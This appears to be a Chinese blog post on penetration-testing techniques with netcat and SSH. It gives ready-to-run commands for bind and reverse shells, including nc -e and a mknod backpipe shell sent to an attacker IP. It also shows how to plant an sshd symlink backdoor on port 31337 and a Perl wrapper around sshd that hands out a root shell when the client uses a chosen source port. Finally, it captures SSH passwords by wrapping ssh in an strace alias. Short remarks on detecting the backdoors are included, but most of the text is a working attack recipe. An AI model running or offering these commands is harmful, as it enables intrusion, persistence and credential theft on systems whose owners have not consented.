标签归档:渗透测试

渗透测试中nc的使用

nc的安装

1.利用wget从sourceforge下载一个nc
wget http://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz/download -O netcat-0.7.1.tar.gz
2.解压
tar zxvf netcat-0.7.1.tar.gz
3.编译前配置
cd netcat-0.7.1
./configure
4.编译
make
5.运行
安装完成后进入src目录
./netcat -h

nc传输文件

在接收机器上执行
[vincent@iZ62luqzx5xZ src]$ ./netcat -v -l -p 2345 > /tmp/user.txt
在发送机器上执行
root@kali-vincent:/tmp# nc -v 49.213.15.229 2345 < user.txt

nc反弹shell

正向连接:
在远程机器上执行:
nc -l -p 8888 -t -e cmd.exe
在本地机器上执行:
nc -nvv 172.16.100.111 8888
成功之后,本地机器就获得一个远程机器的shell。

反向连接:
首先在本地使用nc开启端口监听
nc -vv -l -p 8081
然后在远端:
nc -vv 192.168.192.201 8081 -e /bin/bash
本地即可获取到shell

在Linux的大部分发行版中都默认编译了nc,但也许是出于安全考虑,发行版中默认编译的nc往往没有-e选项(没有define一个
GAPING_SECURITY_HOLE常量),也就是说我们不能通过-e选项绑定目标的shell,使得我们在利用上受到限制
在Attack这边依然用nc -lnvp listenport监听某端口,在目标环境中依次执行以下命令:
root@kali-vincent:~# mknod /tmp/backpipe p
root@kali-vincent:~# /bin/sh 0</tmp/backpipe | nc 49.213.15.229 2345 1>/tmp/backpipe
第一条命令使用mknod在tmp目录下创建一个管道backpipe,第二条命令首先将默认shell环境的输入
重定向给刚才创建的管道,然后将输出通过nc attackerip
listenport重定向到攻击者一端,最后将shell的执行结果再重定向到管道中。

SSH渗透测试技巧

1. 入侵得到SHELL后,对方防火墙没限制,想快速开放一个可以访问的SSH端口。
在kali下测试。必须是root权限。

root@kali-vincent:~# ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=31337;
ssh root@172.16.100.128 -p 31337
密码随意输入

检查进程

root@kali-vincent:/tmp# ps axu | grep 31337 | grep -v grep
root 85815 0.0 0.1 55164 2964 ? Ss 12:27 0:00 /tmp/su -oPort=31337

检查端口

root@kali-vincent:/tmp# netstat -antlp | grep 31337
tcp 0 0 0.0.0.0:31337 0.0.0.0:* LISTEN 85815/su 
tcp6 0 0 :::31337 :::* LISTEN 85815/su

可以看出该后门很容易检查出来

2.做一个SSH wrapper后门,效果比第一个好,没有开放额外的端口,只要对方开了SSH服务,就能远程连接。
在肉鸡上执行:

[root@localhost ~]# cd /usr/sbin
[root@localhost sbin]# mv sshd ../bin
[root@localhost sbin]# echo '#!/usr/bin/perl' >sshd
[root@localhost sbin]# echo 'exec "/bin/sh" if (getpeername(STDIN) =~ /^..4A/);' >>sshd
[root@localhost sbin]# echo 'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
[root@localhost sbin]# chmod u+x sshd
[root@localhost sbin]# /etc/init.d/sshd restart

在本机执行:

socat STDIO TCP4:10.18.180.20:22,sourceport=13377

[root@vincenthostname socat-1.4]# ./socat STDIO TCP4:172.16.100.128:22,sourceport=13377

whoami
root

这个后门检测起来也简单,/usr/sbin/sshd文件非二进制文件,而是脚本文件,并且文件大小很小。

3. 记录SSH客户端连接密码

[test@CentOS tmp]$ alias ssh='strace -o /tmp/sshpwd.log -e read,write,connect -s2048 ssh'
[test@CentOS tmp]$ grep "read(4" /tmp/sshpwd.log 
read(4, "y", 1) = 1
read(4, "e", 1) = 1
read(4, "s", 1) = 1
read(4, "\n", 1) = 1
read(4, "h", 1) = 1
read(4, "e", 1) = 1
read(4, "h", 1) = 1
read(4, "e", 1) = 1
read(4, "\n", 1) = 1
read(4, "e", 16384) = 1
read(4, "x", 16384) = 1
read(4, "i", 16384) = 1
read(4, "t", 16384) = 1
read(4, "\r", 16384) = 1